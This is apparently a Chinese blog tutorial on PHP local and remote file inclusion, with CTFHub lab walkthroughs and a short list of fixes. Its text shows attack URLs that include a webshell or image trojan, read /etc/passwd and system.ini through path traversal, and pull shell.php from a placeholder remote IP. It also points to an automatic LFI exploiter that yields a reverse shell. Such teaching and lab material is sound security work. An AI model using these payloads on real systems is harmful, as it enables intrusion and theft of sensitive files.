文件包含漏洞渗透与攻防(一)

目录

前言

什么是文件包含漏洞

文件包含漏洞类型

本地文件包含

远程文件包含

PHP相关函数和伪协议

函数

PHP伪协议

CTF题目案例

文件包含漏洞挖掘与利用 

URL关键字

代码审计 

利用流程 

文件包含漏洞修复方案


前言

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。 文件包含漏洞也叫“任意文件访问漏洞”,会造成服务端敏感文件被访问。

什么是文件包含漏洞

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。但是asp、jsp文件只能本地包含,而php既可以本地包含也可以远程包含。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

文件包含漏洞类型

文件包含漏洞有两种类型,一种是本地文件包含 Local File Inclusion :LFI(目录遍历漏洞/任意文件访问漏洞),还有一种是远程文件包含 Remote File Inclusion :RFI

本地文件包含

本地包含

这是一个名为footer.php的文件,内容如下。文件包含漏洞渗透与攻防(一)_第1张图片

 这是一个名为main.php的文件,内容如下,main.php通过include 去引用了footer.php文件里的内容。文件包含漏洞渗透与攻防(一)_第2张图片

 最终页面main.php呈现效果如下:

文件包含漏洞渗透与攻防(一)_第3张图片

动态包含 

文件包含漏洞渗透与攻防(一)_第4张图片

它通过GET函数获取文件名,假如文件名存在,那他将包含这个文件。我们把这个文件保存为index.php,然后通过传参去包含footer.php文件。最终呈现效果如下:

文件包含漏洞渗透与攻防(一)_第5张图片

 包含恶意代码或图片马

他还可以包含恶意代码或图片马,假如这里的shell.php是恶意文件的话,

列如:

http://localhost/fileinc/include.php?file=shell.php
http://localhost:7298/upload-labs/include.php?file=upload/shell.gif

 我们可以利用这种包含直接连接中国蚁剑。

包含敏感文件

列如:

http://localhost/fileinc/include.php?file=C:\Windows\system.ini

让文件包含漏洞能够访问系统的敏感文件。

 远程文件包含

文件包含漏洞渗透与攻防(一)_第6张图片

想要打开服务器的远程文件包含功能,php.ini文件中的这两项功能必须为on。

文件包含漏洞渗透与攻防(一)_第7张图片

远程文件包含的格式一般如下:

http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php

如图:我们远程访问了目标服务器1.txt文件的内容。

文件包含漏洞渗透与攻防(一)_第8张图片

PHP相关函数和伪协议

函数

文件包含漏洞渗透与攻防(一)_第9张图片

 文件包含漏洞渗透与攻防(一)_第10张图片

PHP伪协议

文件包含漏洞渗透与攻防(一)_第11张图片

CTF题目案例

我们打开CTFhub的官网,官网地址:CTFHub

文件包含漏洞渗透与攻防(一)_第12张图片

 

文件包含漏洞渗透与攻防(一)_第13张图片

 我们先来做第一关文件包含,打开漏洞环境,打开后出现如下环境:

文件包含漏洞渗透与攻防(一)_第14张图片

他这里通过Get请求file参数,然后去包含这个文件,他这里还提示我们有个shell.txt文件。

那我们构造如下语句去包含这个文件试试:

文件包含漏洞渗透与攻防(一)_第15张图片

显示如上,我们点击这个shell,出现如下页面:

文件包含漏洞渗透与攻防(一)_第16张图片

 这个很显然是一个一句话木马,那我们可以直接用蚁剑去连接,密码就是ctfhub,不过我们这里直接用更简单粗暴的方式去访问:

我们通过ctfhub直接传参执行系统命令,查看到当前目录下有两个文件:

文件包含漏洞渗透与攻防(一)_第17张图片

很显然这里没有什么flag。

我们直接通过find命令去查找文件名中包含有flag的文件,如下图找到好多文件名中有flag的文件,那会不会是最后这个flag呢?

文件包含漏洞渗透与攻防(一)_第18张图片

 我们通过cat命令去查看这个flag文件,果然出现了flag:

文件包含漏洞渗透与攻防(一)_第19张图片

我们来做第二关:

文件包含漏洞渗透与攻防(一)_第20张图片

打开页面如下图所示:

文件包含漏洞渗透与攻防(一)_第21张图片

我们点击phpinfo去访问:

文件包含漏洞渗透与攻防(一)_第22张图片

 然后我们构造下面的语句,去请求文件流:

文件包含漏洞渗透与攻防(一)_第23张图片

然后打开BurpSuite抓包:

文件包含漏洞渗透与攻防(一)_第24张图片

将其发送到Repeater模块:

文件包含漏洞渗透与攻防(一)_第25张图片

 文件包含漏洞渗透与攻防(一)_第26张图片

我们将GET改为POST请求,因为GET请求是没有办法发送我们要执行的命令的。

然后我们在下面添加语句,执行查看命令。

文件包含漏洞渗透与攻防(一)_第27张图片

 发包,回显如下:

文件包含漏洞渗透与攻防(一)_第28张图片

然后我们去查看他的根目录:

文件包含漏洞渗透与攻防(一)_第29张图片 

 回显:

文件包含漏洞渗透与攻防(一)_第30张图片

发现有个flag文件:

我们去查看这个flag文件:

文件包含漏洞渗透与攻防(一)_第31张图片

回显出了flag:

文件包含漏洞渗透与攻防(一)_第32张图片

接下来我们来做第三关:

文件包含漏洞渗透与攻防(一)_第33张图片

打开后,页面如下:

文件包含漏洞渗透与攻防(一)_第34张图片

我们继续构造下面语句传输文件流:

文件包含漏洞渗透与攻防(一)_第35张图片

抓包:

文件包含漏洞渗透与攻防(一)_第36张图片

老样子,先发送到Repeater模块:

文件包含漏洞渗透与攻防(一)_第37张图片

 然后GET请求改成POST,加上查看语句,回显:

文件包含漏洞渗透与攻防(一)_第38张图片

我们看到有个flag文件,我们查看:

文件包含漏洞渗透与攻防(一)_第39张图片

文件包含漏洞挖掘与利用 

URL关键字

我们可以通过url关键字去访问文件,列如:http://LinuxIP/include.php?file=../../../../../etc
/passwd,通过这些去查看有没有文件包含漏洞。

文件包含漏洞渗透与攻防(一)_第40张图片

代码审计 

我们可以通过代码审计去发现一些文件包含漏洞。

利用流程 

文件包含漏洞渗透与攻防(一)_第41张图片

有这么一个LFI Suite的工具,他可以直接将你发现的文件包含漏洞直接利用,返回给你一个shell。

下载地址:GitHub - D35m0nd142/LFISuite: Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner

文件包含漏洞渗透与攻防(一)_第42张图片 

 

文件包含漏洞修复方案

1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单

 

你可能感兴趣的:(Web漏洞,安全,web安全,网络安全)